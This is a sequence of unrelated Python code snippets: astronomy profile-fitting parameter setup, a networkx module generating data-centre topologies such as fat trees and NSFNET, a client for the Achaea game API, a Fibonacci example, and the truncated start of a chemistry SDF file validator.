(par1name, float(line.split()[2]), True, 0.01, None, None) # r_e if line.split()[3] == "False": p1 = (par1name, float(line.split()[2]), False, 0.01, None, None) p2 = (par2name, float(line.split()[4]), True, None, 35.0, None) # mu_e if line.split()[5] == "False": p2 = (par2name, float(line.split()[4]), False, None, 35.0, None) p3 = (par3name, float(line.split()[6]), True, 0.01, 20.0, None) # n if line.split()[7] == "False": p3 = (par3name, float(line.split()[6]), False, 0.01, 20.0, None) p4 = (par4name, float(line.split()[8]), True, 0.01, None, None) # r_out if line.split()[9] == "False": p4 = (par4name, float(line.split()[8]), False, 0.01, None, None) comp.parameters.add_many(p1, p2, p3, p4) params.add_many(p1, p2, p3, p4) componentslist.append(comp) # components with 3 parameters if comp.name == "sersic": par1name = "par1_" + str(line.split()[0]) par2name = "par2_" + str(line.split()[0]) par3name = "par3_" + str(line.split()[0]) p1 = (par1name, float(line.split()[2]), True, 0.01, None, None) # r_e if line.split()[3] == "False": p1 = (par1name, float(line.split()[2]), False, 0.01, None, None) p2 = (par2name, float(line.split()[4]), True, None, 35.0, None) # mu_e if line.split()[5] == "False": p2 = (par2name, float(line.split()[4]), False, None, 35.0, None) p3 = (par3name, float(line.split()[6]), True, 0.01, 20.0, None) # n if line.split()[7] == "False": p3 = (par3name, float(line.split()[6]), False, 0.01, 20.0, None) comp.parameters.add_many(p1, p2, p3) params.add_many(p1, p2, p3) componentslist.append(comp) if comp.name == "tdisc" or comp.name == "gring": par1name = "par1_" + str(line.split()[0]) par2name = "par2_" + str(line.split()[0]) par3name = "par3_" + str(line.split()[0]) p1 = (par1name, float(line.split()[2]), True, 0.01, None, None) # h # fwhm if line.split()[3] == "False": p1 = (par1name, float(line.split()[2]), False, 0.01, None, None) p2 = (par2name, float(line.split()[4]), True, None, 35.0, None) # mu_0 # mu_0 if line.split()[5] == "False": p2 = (par2name, float(line.split()[4]), False, None, 35.0, None) p3 = (par3name, float(line.split()[6]), True, 0.01, None, None) # r_out # r_0 if line.split()[7] == "False": p3 = (par3name, float(line.split()[6]), False, 0.01, None, None) comp.parameters.add_many(p1, p2, p3) params.add_many(p1, p2, p3) componentslist.append(comp) # components with two parameters elif comp.name == "gaussian" or comp.name == "disc": par1name = "par1_" + str(line.split()[0]) par2name = "par2_" + str(line.split()[0]) p1 = (par1name, float(line.split()[2]), True, 0.01, None, None) # h or fwhm .. if line.split()[3] == "False": p1 = (par1name, float(line.split()[2]), False, 0.01, None, None) p2 = (par2name, float(line.split()[4]), True, None, 35.0, None) # mu_0 or mag if line.split()[5] == "False": p2 = (par2name, float(line.split()[4]), False, None, 35.0, None) comp.parameters.add_many(p1, p2) params.add_many(p1, p2) componentslist.append(comp) # components with one parameter elif comp.name == "psf" or comp.name == "psfwing": par2name = "par2_" + str(line.split()[0]) p2 = (par2name, float(line.split()[4]), True, None, 35.0, None) # mu_0 or mag if line.split()[5] == "False": p2 = (par2name, float(line.split()[4]), False, None, 35.0, None) comp.parameters.add_many(p2) params.add_many(p2) componentslist.append(comp) if comp.name == "psfwing": # psfwing_02pxscale_datatab = readEllipseOutput('PSFtinytim_centered_resc_linscale05px.ell') psfwing_02pxscale_datatab = readEllipseOutput("star_02pxscale.ell") psfwing_02pxscale_datatab["sma"] = psfwing_02pxscale_datatab["sma"] * Settings.pxlToArcsec if equivalentAxisFit: psfwing_02pxscale_datatab["sma"] = psfwing_02pxscale_datatab["sma"] * np.sqrt( 1 - psfwing_02pxscale_datatab["ellip"] ) # if minorAxisFit: # psfwing_02pxscale_datatab['sma'] = psfwing_02pxscale_datatab['sma'] * (1 - psfwing_02pxscale_datatab['ellip']) psfwing_02pxscale_datatab["intens"] = psfwing_02pxscale_datatab["intens"] / Settings.pxlToArcsec**2 psfwing_02pxscale_datatab["intens"] = psfwing_02pxscale_datatab["intens"] / max( psfwing_02pxscale_datatab["intens"] ) # psfwing_logscale_datatab = readEllipseOutput('PSFtinytim_centered_resc_logscale.ell') psfwing_logscale_datatab = readEllipseOutput("star_logscale.ell") psfwing_logscale_datatab["sma"] = psfwing_logscale_datatab["sma"] * Settings.pxlToArcsec if equivalentAxisFit: psfwing_logscale_datatab["sma"] = psfwing_logscale_datatab["sma"] * np.sqrt( 1 - psfwing_logscale_datatab["ellip"] ) # if minorAxisFit: # psfwing_logscale_datatab['sma'] = psfwing_logscale_datatab['sma'] * (1 - psfwing_logscale_datatab['ellip']) psfwing_logscale_datatab["intens"] = psfwing_logscale_datatab["intens"] / Settings.pxlToArcsec**2 psfwing_logscale_datatab["intens"] = psfwing_logscale_datatab["intens"] / max( psfwing_logscale_datatab["intens"] ) return componentslist, params, psfwing_02pxscale_datatab, psfwing_logscale_datatab
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4cf2829282cb0a1673e741f78f17ce27a2817ff2
"""Module for generating and plotting networks.""" from trafpy.generator.src import tools import copy import networkx as nx import matplotlib.pyplot as plt import json def gen_arbitrary_network(num_eps, ep_label=None, ep_capacity=12500, num_channels=1, racks_dict=None, topology_type=None): """Generates an arbitrary network with num_eps nodes labelled as ep_label. Note that no edges are formed in this network; it is purely for ep name indexing purposes when using Demand class. This is useful where want to use the demand class but not necessarily with a carefully crafted networkx graph that accurately mimics the network you will use for the demands Args: num_eps (int): Number of endpoints in network. ep_label (str,int,float): Endpoint label (e.g. 'server'). All endpoints will have ep_label appended to the start of their label (e.g. 'server_0', 'server_1', ...). ep_capacity (int, float): Byte capacity per end point channel. num_channels (int, float): Number of channels on each link in network. racks_dict (dict): Mapping of which end points are in which racks. Keys are rack ids, values are list of end points. If None, assume there is not clustering/rack system in the network where have different end points in different clusters/racks. Returns: networkx graph: network object """ network = nx.Graph() network.add_nodes_from([node for node in range(num_eps)]) if ep_label is None: # must be str or not json serialisable servers = [str(i) for i in range(num_eps)] else: servers = [ep_label + "_" + str(i) for i in range(num_eps)] relabel_mapping = {node: label for node, label in zip(range(num_eps), servers)} network = nx.relabel_nodes(network, relabel_mapping) eps = [] for node in list(network.nodes): try: if ep_label in node: eps.append(node) except TypeError: # ep_label is None eps.append(node) network.graph["endpoints"] = eps # /= 2 to get max theoretical capacity (number of units which network can transfer per unit time) max_nw_capacity = (num_eps * ep_capacity * num_channels) / 2 if topology_type is None: topology_type = "arbitrary_endpoints_{}_chancap_{}_channels_{}".format(num_eps, ep_capacity, num_channels) init_global_network_attrs( network, max_nw_capacity, num_channels, ep_link_capacity=ep_capacity * num_channels, endpoint_label=ep_label, node_labels=[ep_label], racks_dict=racks_dict, topology_type=topology_type, ) return network def gen_nsfnet_network( ep_label="server", rack_label="rack", N=0, num_channels=2, server_to_rack_channel_capacity=1, rack_to_rack_channel_capacity=10, show_fig=False, ): """Generates the standard 14-node NSFNET topology (a U.S. core network). Args: ep_label (str,int,float): Endpoint label (e.g. 'server'). All endpoints will have ep_label appended to the start of their label (e.g. 'server_0', 'server_1', ...). N (int): Number of servers per rack. If 0, assume all nodes in nsfnet are endpoints num_channels (int,float): Number of channels on each link in network. server_to_rack_channel_capacity (int,float): Byte capacity per channel between servers and ToR switch. rack_to_rack_channel_capacity (int,float): Byte capacity per channel between racks. show_fig (bool): Whether or not to plot and show fig. If True, will display fig. Returns: networkx graph: network object """ channel_names = gen_channel_names(num_channels) network = nx.Graph() node_pair_list = [ [0, 1], [0, 3], [0, 2], [1, 2], [1, 7], [3, 8], [3, 4], [3, 6], [4, 5], [4, 5], [5, 2], [5, 13], [5, 12], [6, 7], [7, 10], [8, 11], [8, 9], [9, 10], [9, 12], [10, 11], [10, 13], [11, 12], ] if N == 0: # above nodes are all end points label = ep_label else: # above nodes are ToR switch nodes label = rack_label for idx in range(len(node_pair_list)): node_pair_list[idx][0] = label + "_" + str(node_pair_list[idx][0]) node_pair_list[idx][1] = label + "_" + str(node_pair_list[idx][1]) # add 14 nodes for edge in node_pair_list: network.add_edge(*tuple(edge)) if N == 0: # assume all nodes are servers racks_dict = None else: # each of 14 nodes in NSFNET is a ToR switch i = 0 racks_dict = {rack: [] for rack in range(14)} for rack in range(14): for server in range(N): racks_dict[rack].append(ep_label + "_" + str(i)) network.add_edge(ep_label + "_" + str(i), rack_label + "_" + str(rack)) i += 1 channel_names = gen_channel_names(num_channels) edges = [edge for edge in network.edges] add_edges_capacity_attrs(network, edges, channel_names, rack_to_rack_channel_capacity) # set gloabl network attrs network.graph["endpoints"] = get_endpoints(network, ep_label) # /= 2 to get max theoretical capacity (number of units which network can transfer per unit time) max_nw_capacity = (len(network.edges) * num_channels * rack_to_rack_channel_capacity) / 2 init_global_network_attrs( network, max_nw_capacity, num_channels, ep_link_capacity=server_to_rack_channel_capacity * num_channels, endpoint_label=ep_label, node_labels=[ep_label, rack_label], topology_type="14_node_nsfnet", racks_dict=racks_dict, ) if show_fig: plot_network(network, show_fig=True) return network def gen_simple_network(ep_label="server", num_channels=2, server_to_rack_channel_capacity=500, show_fig=False): """Generates very simple 5-node topology. Args: ep_label (str,int,float): Endpoint label (e.g. 'server'). All endpoints will have ep_label appended to the start of their label (e.g. 'server_0', 'server_1', ...). num_channels (int,float): Number of channels on each link in network. channel_capacity (int,float): Byte capacity per channel. show_fig (bool): Whether or not to plot and show fig. If True, will display fig. Returns: networkx graph: network object """ network = nx.Graph() network.add_nodes_from([node for node in range(5)]) network.add_edges_from([(0, 1), (0, 2), (1, 2), (2, 4), (4, 3), (3, 1)], weight=1) servers = [ep_label + "_" + str(i) for i in range(5)] relabel_mapping = {node: label for node, label in zip(range(5), servers)} network = nx.relabel_nodes(network, relabel_mapping) channel_names = gen_channel_names(num_channels) edges = [edge for edge in network.edges] add_edges_capacity_attrs(network, edges, channel_names, server_to_rack_channel_capacity) # set gloabl network attrs network.graph["endpoints"] = get_endpoints(network, ep_label) # /= 2 to get max theoretical capacity (number of units which network can transfer per unit time) max_nw_capacity = (len(network.edges) * num_channels * server_to_rack_channel_capacity) / 2 init_global_network_attrs( network, max_nw_capacity, num_channels, ep_link_capacity=server_to_rack_channel_capacity * num_channels, endpoint_label=ep_label, node_labels=[ep_label], topology_type="5_node_simple_network", ) if show_fig: plot_network(network, show_fig=True) return network def get_endpoints(network, ep_label): """Gets list of endpoints of network. Args: network (networkx graph): Networkx object. ep_label (str,int,float): Endpoint label (e.g. 'server'). All endpoints will have ep_label appended to the start of their label (e.g. 'server_0', 'server_1', ...). Returns: eps (list): List of endpoints. """ eps = [] for node in list(network.nodes): if ep_label in node: eps.append(node) return eps def gen_fat_tree( k=4, L=2, n=4, ep_label="server", rack_label="rack", edge_label="edge", aggregate_label="agg", core_label="core", num_channels=2, server_to_rack_channel_capacity=500, rack_to_edge_channel_capacity=1000, edge_to_agg_channel_capacity=1000, agg_to_core_channel_capacity=2000, rack_to_core_channel_capacity=2000, show_fig=False, ): """Generates a perfect fat tree (i.e. all layers have switches with same radix/number of ports). Top layer is always core (spine) switch layer, bottom layer is always ToR (leaf) layer. L must be either 2 (core, ToR) or 4 (core, agg, edge, ToR) N.B. L=2 is commonly referred to as '2-layer Clos' or 'Clos' or 'spine-leaf' topology Resource for building (scroll down to summary table with equations): https://packetpushers.net/demystifying-dcn-topologies-clos-fat-trees-part2/ Another good resource for data centre topologies etc. in general: https://www.oreilly.com/library/view/bgp-in-the/9781491983416/ch01.html#:~:text=The%20most%20common%20routing%20protocol,single%20data%20center%2C%20as%20well. Parameters of network: - number of core (spine) switches = (k/2)^(L/2) (top layer) - number of edge switches (if L=4) = (k^2)/2 - number of agg switches (if L=4) = (k^2)/2 - number of pods (if L=4) (pod is a group of agg and/or edge switches) = 2*(k/2)^(L-2) - number of ToR (leaf) switches (racks) = 2*(k/2)^(L-1) (bottom layer) - number of server-facing ToR 'host' ports = 2*(k/2)^2 (can have multiple servers connected to same host port, & can oversubscribe) - number of servers = number ToR switches * n Args: k (int): Number of ports (links) on each switch (both up and down). L (int): Number of layers in the fat tree. n (int): Number of server per rack. ep_label (str,int,float): Endpoint label (e.g. 'server'). All endpoints will have ep_label appended to the start of their label (e.g. 'server_0', 'server_1', ...). edge_label (str,int): Label to assign to edge switch nodes aggregate_label (str,int): Label to assign to edge switch nodes core_label (str,int): Label to assign to core switch nodes num_channels (int, float): Number of channels on each link in network server_to_edge_channel_capacity (int,float): Byte capacity per channel edge_to_agg_channel_capacity (int,float): (if L==4) Byte capacity per channel agg_to_core_channel_capacity (int,float): (if L==4) Byte capacity per channel rack_to_core_channel_capacity (int,float): (if L==2) Byte capacity per channel Returns: networkx graph: network object """ if L != 2 and L != 4: raise Exception( "L must be 2 (ToR layer, core layer) or 4 (ToR layer, edge layer, agg layer, core layer), but is {}.".format(L) ) if k % 2 != 0: raise Exception( "k must be even since, in perfect fat tree, have equal number of up and down ports on each switch, but is {}.".format( k ) ) channel_names = gen_channel_names(num_channels) # initialise network nodes if L == 2: node_labels = [ep_label, rack_label, core_label] else: node_labels = [ep_label, rack_label, edge_label, aggregate_label, core_label] # num_cores = int((k/2)**(L-1)) # num_cores = int((k/2)**2) num_cores = int((k / 2) ** (L / 2)) num_aggs = int((k**2) / 2) num_edges = int((k**2) / 2) num_pods = int(2 * (k / 2) ** (L - 2)) num_racks = int(2 * (k / 2) ** (L - 1)) num_servers = int(num_racks * n) cores = [core_label + "_" + str(i) for i in range(num_cores)] aggs = [aggregate_label + "_" + str(i) for i in range(num_aggs)] edges = [edge_label + "_" + str(i) for i in range(num_edges)] racks = [rack_label + "_" + str(i) for i in range(num_racks)] servers = [ep_label + "_" + str(i) for i in range(num_servers)] # create core and rack layer networks core_layer = nx.Graph() rack_layer = nx.Graph() core_layer.add_nodes_from(cores) rack_layer.add_nodes_from(racks) # combine cores and racks into single network fat_tree_network = nx.compose(core_layer, rack_layer) if L == 2: # 2 layers: Core, ToR # link racks to cores, add link attributes rack_iterator = iter(racks) for rack in racks: core_iterator = iter(cores) # have k/2 up-ports on each switch for up_port in range(int(k / 2)): core = next(core_iterator) fat_tree_network.add_edge(rack, core) add_edge_capacity_attrs(fat_tree_network, (rack, core), channel_names, rack_to_core_channel_capacity) else: # 4 layers: Core, Agg, Edge, ToR. Agg and Edge switches grouped into pods. # group edges and aggregates into pods num_pods = int(k) pods = [[] for i in range(num_pods)] prev_iter = 0 for pod_iter in range(len(pods)): curr_iter = int(prev_iter + (k / 2)) pods[pod_iter].append(edges[prev_iter:curr_iter]) pods[pod_iter].append(aggs[prev_iter:curr_iter]) prev_iter = curr_iter # create dict of pod networks pod_labels = ["pod_" + str(i) for i in range(num_pods)] pods_dict = {tuple([pod]): nx.Graph() for pod in pod_labels} for pod_iter in range(num_pods): key = ("pod_" + str(pod_iter),) pod_edges = pods[pod_iter][0] pod_aggs = pods[pod_iter][1] pods_dict[key].add_nodes_from(pod_edges) pods_dict[key].add_nodes_from(pod_aggs) # connect edge and aggregate switches within pod, add link attributes for pod_edge in pod_edges: for pod_agg in pod_aggs: pods_dict[key].add_edge(pod_agg, pod_edge) add_edge_capacity_attrs(pods_dict[key], (pod_agg, pod_edge), channel_names, edge_to_agg_channel_capacity) # add pods (agg + edge) layer to fat-tree pod_networks = list(pods_dict.values()) for pod_iter in range(num_pods): fat_tree_network = nx.compose(fat_tree_network, pod_networks[pod_iter]) # link aggregate switches in pods to core switches, add link attributes for pod_iter in range(num_pods): pod_aggs = pods[pod_iter][1] core_iterator = iter(cores) for pod_agg in pod_aggs: while fat_tree_network.degree[pod_agg] < k: core = next(core_iterator) fat_tree_network.add_edge(core, pod_agg) add_edge_capacity_attrs(fat_tree_network, (core, pod_agg), channel_names, agg_to_core_channel_capacity) # link edge switches in pods to racks, add link attributes rack_iterator = iter(racks) for pod_iter in range(num_pods): pod_edges = pods[pod_iter][0] for pod_edge in pod_edges: while fat_tree_network.degree[pod_edge] < k: rack = next(rack_iterator) fat_tree_network.add_edge(pod_edge, rack) add_edge_capacity_attrs(fat_tree_network, (pod_edge, rack), channel_names, rack_to_edge_channel_capacity) # link servers to racks, add link attributes racks_dict = {rack: [] for rack in racks} # track which endpoints in which rack server_iterator = iter(servers) for rack in racks: for _ in range(n): server = next(server_iterator) fat_tree_network.add_edge(rack, server) add_edge_capacity_attrs(fat_tree_network, (rack, server), channel_names, server_to_rack_channel_capacity) racks_dict[rack].append(server) # calc total network capacity # /= 2 to get max theoretical capacity (number of units which network can transfer per unit time) max_nw_capacity = (num_servers * num_channels * server_to_rack_channel_capacity) / 2 # init global network attrs fat_tree_network.graph["endpoints"] = servers init_global_network_attrs( fat_tree_network, max_nw_capacity, num_channels, ep_link_capacity=server_to_rack_channel_capacity * num_channels, endpoint_label=ep_label, node_labels=node_labels, topology_type="fat_tree", racks_dict=racks_dict, ) if show_fig: plot_network(fat_tree_network, show_fig=True) return fat_tree_network def init_global_network_attrs( network, max_nw_capacity, num_channels, ep_link_capacity, endpoint_label="server", topology_type="unknown", node_labels=["server"], racks_dict=None, ): """Initialises the standard global network attributes of a given network. Args: network (obj): NetworkX object. max_nw_capacity (int/float): Maximum rate at which info can be reliably transmitted over the network (sum of all link capacities). num_channels (int): Number of channels on each link in network. topology_type (str): Label of network topology (e.g. 'fat_tree'). node_labels (list): Label classes assigned to network nodes (e.g. ['server', 'rack', 'edge']). racks_dict (dict): Which servers/endpoints are in which rack. If None, assume do not have rack system where have multiple servers in one rack. """ network.graph["endpoint_label"] = endpoint_label network.graph["num_channels_per_link"] = num_channels network.graph["ep_link_capacity"] = ep_link_capacity network.graph["ep_link_port_capacity"] = ep_link_capacity / 2 # all eps have a src & a dst port network.graph["max_nw_capacity"] = max_nw_capacity network.graph["curr_nw_capacity_used"] = 0 network.graph["num_active_connections"] = 0 network.graph["total_connections_blocked"] = 0 network.graph["node_labels"] = node_labels network.graph["topology_type"] = topology_type network.graph["channel_names"] = gen_channel_names(num_channels) # ensure racks dict is str so json serialisable if racks_dict is not None: _racks_dict = {} for key, val in racks_dict.items(): _racks_dict[str(key)] = [] for v in val: _racks_dict[str(key)].append(str(v)) network.graph["rack_to_ep_dict"] = _racks_dict else: network.graph["rack_to_ep_dict"] = None if racks_dict is not None: # switch racks_dict keys and values to make hashing easier ep_to_rack_dict = {} for key, val in _racks_dict.items(): for v in val: if v not in ep_to_rack_dict.keys(): ep_to_rack_dict[v] = key network.graph["ep_to_rack_dict"] = ep_to_rack_dict else: network.graph["ep_to_rack_dict"] = None def gen_channel_names(num_channels): """Generates channel names for channels on each link in network.""" channels = [channel + 1 for channel in range(num_channels)] channel_names = ["channel_" + str(channel) for channel in channels] return channel_names def add_edge_capacity_attrs(network, edge, channel_names, channel_capacity, bidirectional_links=True): """Adds channels and corresponding max channel bytes to single edge in network. Args: network (networkx graph): Network containing edges to whiich attrs will be added. edge (tuple): Node-node edge pair. channel_names (list): List of channel names to add to edge. channel_capacity (int,float): Capacity to allocate to each channel. bidirectional_links (bool): If True, each link has capacity split equally between src and dst port. I.e. all links have a src and dst port which are treated separately to incoming and outgoing traffic to and from given node (switch or server). """ if bidirectional_links: attrs = { edge: { "{}_to_{}_port".format(edge[0], edge[1]): { "channels": {channel: channel_capacity / 2 for channel in channel_names}, "max_channel_capacity": channel_capacity / 2, }, "{}_to_{}_port".format(edge[1], edge[0]): { "channels": {channel: channel_capacity / 2 for channel in channel_names}, "max_channel_capacity": channel_capacity / 2, }, } } else: attrs = { edge: { "channels": {channel: channel_capacity for channel in channel_names}, "max_channel_capacity": channel_capacity, } } nx.set_edge_attributes(network, attrs) def add_edges_capacity_attrs(network, edges, channel_names, channel_capacity, bidirectional_links=True): """Adds channels & max channel capacitys to single edge in network. To access e.g. the edge going from node 0 to node 1 (edge (0, 1)), you would index the network with network[0][1] To access e.g. the channel_1 attribute of this particular (0, 1) edge, you would do network[0][1]['channels']['channel_1'] OR if bidirectional_links, you do network[0][1]['0_to_1_port']['channels']['channel_1'] or network[0][1]['1_to_0_port']['channels']['channel_1] depending on which direction of the link you want to access. Args: network (networkx graph): Network containing edges to which attrs will be added. edges (list): List of node pairs in tuples. channel_names (list of str): List of channel names to add to edge. channel_capacity (int, float): Capacity to allocate to each channel. bidirectional_links (bool): If True, each link has capacity split equally between src and dst port. I.e. all links have a src and dst port which are treated separately to incoming and outgoing traffic to and from given node (switch or server). """ if bidirectional_links: attrs = { edge: { "{}_to_{}_port".format(edge[0], edge[1]): { "channels": {channel: channel_capacity / 2 for channel in channel_names}, "max_channel_capacity": channel_capacity / 2, }, "{}_to_{}_port".format(edge[1], edge[0]): { "channels": {channel: channel_capacity / 2 for channel in channel_names}, "max_channel_capacity": channel_capacity / 2, }, } for edge in edges } else: attrs = { edge: { "channels": {channel: channel_capacity for channel in channel_names}, "max_channel_capacity": channel_capacity, } for edge in edges } nx.set_edge_attributes(network, attrs) def get_node_type_dict(network, node_types=[]): """Gets dict where keys are node types, values are list of nodes for each node type in graph.""" network_nodes = [] for network_node in network.nodes: network_nodes.append(network_node) network_nodes_dict = {node_type: [] for node_type in node_types} for n in network_nodes: for node_type in node_types: if node_type in n: network_nodes_dict[node_type].append(n) else: # not this node type pass return network_nodes_dict def get_fat_tree_positions(net, width_scale=500, height_scale=10): """Gets networkx positions of nodes in fat tree network for plotting.""" pos = {} node_type_dict = get_node_type_dict(net, net.graph["node_labels"]) node_types = list(node_type_dict.keys()) heights = {} # dict for heigh separation between fat tree layers widths = {} # dict for width separation between nodes within layers h = iter([1, 2, 3, 4, 5]) # server, rack, edge, agg, core heights for node_type in node_types: heights[node_type] = next(h) widths[node_type] = 1 / (len(node_type_dict[node_type]) + 1) idx = 0 for node in node_type_dict[node_type]: pos[node] = ((idx + 1) * widths[node_type] * width_scale, heights[node_type] * height_scale) idx += 1 return pos def init_network_node_positions(net): """Initialises network node positions for plotting.""" if net.graph["topology_type"] == "fat_tree": pos = get_fat_tree_positions(net) else: pos = nx.nx_agraph.graphviz_layout(net, prog="neato") return pos def plot_network( network, draw_node_labels=True, ep_label="server", network_node_size=2000, font_size=30, linewidths=1, fig_scale=2, path_to_save=None, show_fig=False, ): """Plots networkx graph. Recognises special fat tree network and applies appropriate node positioning, labelling, colouring etc. Args: network (networkx graph): Network object to be plotted. draw_node_labels (bool): Whether or not to draw node labels on plot. ep_label (str,int,float): Endpoint label (e.g. 'server'). All endpoints will have ep_label appended to the start of their label (e.g. 'server_0', 'server_1', ...). network_node_size (int,float): Size of plotted nodes. font_size (int,float): Size of of font of plotted labels etc. linewidths (int,float): Width of edges in network. fig_scale (int,float): Scaling factor to apply to plotted network. path_to_save (str): Path to directory (with file name included) in which to save generated plot. E.g. path_to_save='data/my_plot' show_fig (bool): Whether or not to plot and show fig. If True, will return and display fig. Returns: matplotlib.figure.Figure: node distribution plotted as a 2d matrix. """ net_node_positions = init_network_node_positions(copy.deepcopy(network)) fig = plt.figure(figsize=[15 * fig_scale, 15 * fig_scale]) # add nodes and edges pos = {} network_nodes = [] network_nodes_dict = get_node_type_dict(network, network.graph["node_labels"]) for nodes in list(network_nodes_dict.values()): for network_node in nodes: pos[network_node] = net_node_positions[network_node] # network nodes node_colours = iter(["#25c44d", "#36a0c7", "#e8b017", "#6115a3", "#160e63"]) # server, rack, edge, agg, core for node_type in network.graph["node_labels"]: nx.draw_networkx_nodes( network, pos, nodelist=network_nodes_dict[node_type], node_size=network_node_size, node_color=next(node_colours), linewidths=linewidths, label=node_type, ) if draw_node_labels: # nodes nx.draw_networkx_labels( network, pos, font_size=font_size, font_color="k", font_family="sans-serif", font_weight="normal", alpha=1.0 ) # fibre links fibre_links = list(network.edges) nx.draw_networkx_edges(network, pos, edgelist=fibre_links, edge_color="k", width=3, label="Fibre link") if path_to_save is not None: tools.pickle_data(path_to_save, fig) if show_fig: plt.show() return fig if __name__ == "__main__": # network = gen_simple_network() # network = gen_nsfnet_network() network = gen_fat_tree(k=3) plot_network(network, "figures/graph/", name="network_graph.png", with_labels=True)
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da66b254afb3a8fcd3783a38d8624caa917e58c3
#!/usr/bin/env python # -*- coding: utf-8 -*- import requests ACHAEA_ENDPOINT = "https://api.achaea.com" def _requires_auth(func): def wrapper(self, *args, **kwargs): if self.auth is not True: raise APIError() return func(self, *args, **kwargs) return wrapper class API: auth = None CHECKAUTH_RESOURCE = "/checkauth.json" CHARACTERS_RESOURCE = "/characters.json" SPECIFIC_CHARACTER_RESOURCE = "/characters/{}.json" NEWS_RESOURCE = "/news.json" SPECIFIC_NEWS_RESOURCE = "/news/{}.json" SPECIFIC_NEWS_POST_RESOURCE = "/news/{}/{}.json" def __init__(self, endpoint=ACHAEA_ENDPOINT, username=None, password=None): self.endpoint = endpoint if username is not None and password is not None: self.username = username self.password = password self.checkauth() def _get_endpoint(self, fmt_str, args): return self.endpoint + fmt_str.format(*args) def _make_request(self, resource, args=(), authed=False, params={}): endpoint = self._get_endpoint(resource, args) auth_params = {} if authed: if self.username is None or self.password is None: raise APIError() auth_params = {"character": self.username, "password": self.password} params = params.copy() params.update(auth_params) req = requests.get(endpoint, params=params) return req def checkauth(self): if self.auth is not None: return self.auth req = self._make_request(self.CHECKAUTH_RESOURCE, authed=True) if req.status_code == 200: self.auth = True else: self.auth = False return self.auth def characters(self): req = self._make_request(self.CHARACTERS_RESOURCE) if req.status_code != 200: return None result = req.json() characters = [] for character in result["characters"]: characters.append(character["name"]) return characters @_requires_auth def _character_authed(self, character): req = self._make_request(self.SPECIFIC_CHARACTER_RESOURCE, (character,), True) if req.status_code != 200: return None result = req.json() return Character.parse(result) def _character_unauthed(self, character): req = self._make_request(self.SPECIFIC_CHARACTER_RESOURCE, (character,), False) if req.status_code != 200: return None result = req.json() return Character.parse(result) def character(self, character=None): if self.auth is True and (self.username == character or character is None): return self._character_authed(character or self.username) else: return self._character_unauthed(character) def sections(self): req = self._make_request(self.NEWS_RESOURCE, authed=self.auth) if req.status_code != 200: return None result = req.json() sections_list = map(NewsSection.parse, result) return sections_list def posts(self, section, page=None): params = {} if page is not None: params["page"] = page req = self._make_request(self.SPECIFIC_NEWS_RESOURCE, (section,), authed=self.auth, params=params) if req.status_code != 200: return None result = req.json() return result def post(self, section, number): pass class APIError(Exception): pass class Character: def __init__( self, name, fullname, level, house, xp_rank, player_kills, mob_kills, explorer_rank, current_class, messages_total=None, messages_unread=None, ): self.name = name self.fullname = fullname self.level = level self.house = house self.xp_rank = xp_rank self.player_kills = player_kills self.mob_kills = mob_kills self.explorer_rank = explorer_rank self.current_class = current_class self.messages_total = messages_total self.messages_unread = messages_unread @staticmethod def parse(json_data): name = json_data["name"] fullname = json_data["fullname"] level = int(json_data["level"]) house = json_data["house"] xp_rank = json_data["xp_rank"] player_kills = int(json_data["player_kills"]) mob_kills = int(json_data["mob_kills"]) explorer_rank = int(json_data["explorer_rank"]) current_class = json_data["class"] messages_total = None messages_unread = None if "messages_total" in json_data and "messages_unread" in json_data: messages_total = json_data["messages_total"] messages_unread = json_data["messages_unread"] return Character( name, fullname, level, house, xp_rank, player_kills, mob_kills, explorer_rank, current_class, messages_total, messages_unread, ) def __repr__(self): return "<Character: {} ({})>".format(self.name, self.fullname) class NewsSection: def __init__(self, name, read, total, unread): self.name = name self.read = read self.total = total self.unread = unread @staticmethod def parse(json_data): name = json_data["name"] read = int(json_data["read"]) total = int(json_data["total"]) unread = int(json_data["unread"]) return NewsSection(name, read, total, unread) def __repr__(self): return "<NewsSection: {} ({}/{} unread)>".format(self.name, self.read, self.total)
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23, 12, 21, 22, 26, 27, 12, 20, 21, 26, 27, 12, 21, 22, 27, 28, 12, 21, 22, 28, 29, 8, 10, 4, 8, 11, 15, 18, 22, 24, 8, 15, 18, 27, 28, 31, 34, 36, 39, 45, 46, 50, 51, 55, 56, 61, 62, 70, 71, 1, 1, 6, 11, 18, 19, 4, 8, 11, 15, 18, 22, 23, 28, 29, 34, 35, 41, 42, 49, 51, 8, 13, 14, 18, 20, 25, 8, 13, 14, 18, 20, 25, 8, 13, 14, 19, 21, 27, 8, 13, 14, 20, 22, 29, 4, 6, 18, 4, 8, 14, 15, 19, 20, 24, 26, 8, 13, 15, 20, 21, 25, 27, 31, 33, 8, 13, 15, 19, 20, 24, 25, 29, 31, 35, 38, 8, 14, 16, 20, 21, 25, 26, 30, 32, 37, 40, 8, 15, 17, 21, 22, 26, 27, 31, 33, 39, 42, 8, 15, 20, 27, 28, 32, 33, 38, 39, 45, 46, 53, 54, 4, 8, 11, 15, 18, 22, 24, 8, 15, 18, 22, 29, 30, 33, 35, 37, 40, 47, 49, 51, 57, 58, 62, 63, 67, 68, 73, 74, 78, 79, 84, 85, 90, 91 ]
83c7bb2e109f8affd9e2a12e8c5370b0f5a34048
def fibonacci(quantidade): resultado = [1, 2] # while True: # substituir o while pelo for, em um range do 2° valor da lista, correr até # o valor definido na função "Quantidade" for _ in range(2, quantidade): # desta forma ele irá realizar a função do 2° da lista até atingir # o valor de quantiade. # utiziamos o _ no for, para dizer que é uma função não utilizad resultado.append(sum(resultado[-2:])) return resultado for fib in fibonacci(20): print(fib)
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0082f75332321dba498f06d4c4a99c9248829b59
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Wed Apr 22 13:19:51 2020 @author: Warren Script to check sdf file format for Fragalysis upload """ from rdkit import Chem import validators import numpy as np import os from viewer.models import Protein, CompoundSet import datetime # Set .sdf format version here version = "ver_1.2" def check_compound_set(description_mol, validate_dict): y_m_d = description_mol.GetProp("generation_date").split("-") submitter_dict = { "submitter__name": description_mol.GetProp("submitter_name"), "submitter__email": description_mol.GetProp("submitter_email"), "submitter__institution": description_mol.GetProp("submitter_institution"), "submitter__generation_date": datetime.date(int(y_m_d[0]), int(y_m_d[1]), int(y_m_d[2])), "submitter__method": description_mol.GetProp("method"), } query = CompoundSet.objects.filter(**submitter_dict) if len(query) != 0: validate_dict = add_warning( molecule_name="File error", field="compound set", warning_string="a compound set with the auto_generated name " + query[0].submitter.unique_name + " already exists (change method name in blank mol method field)", validate_dict=validate_dict, ) return validate_dict def 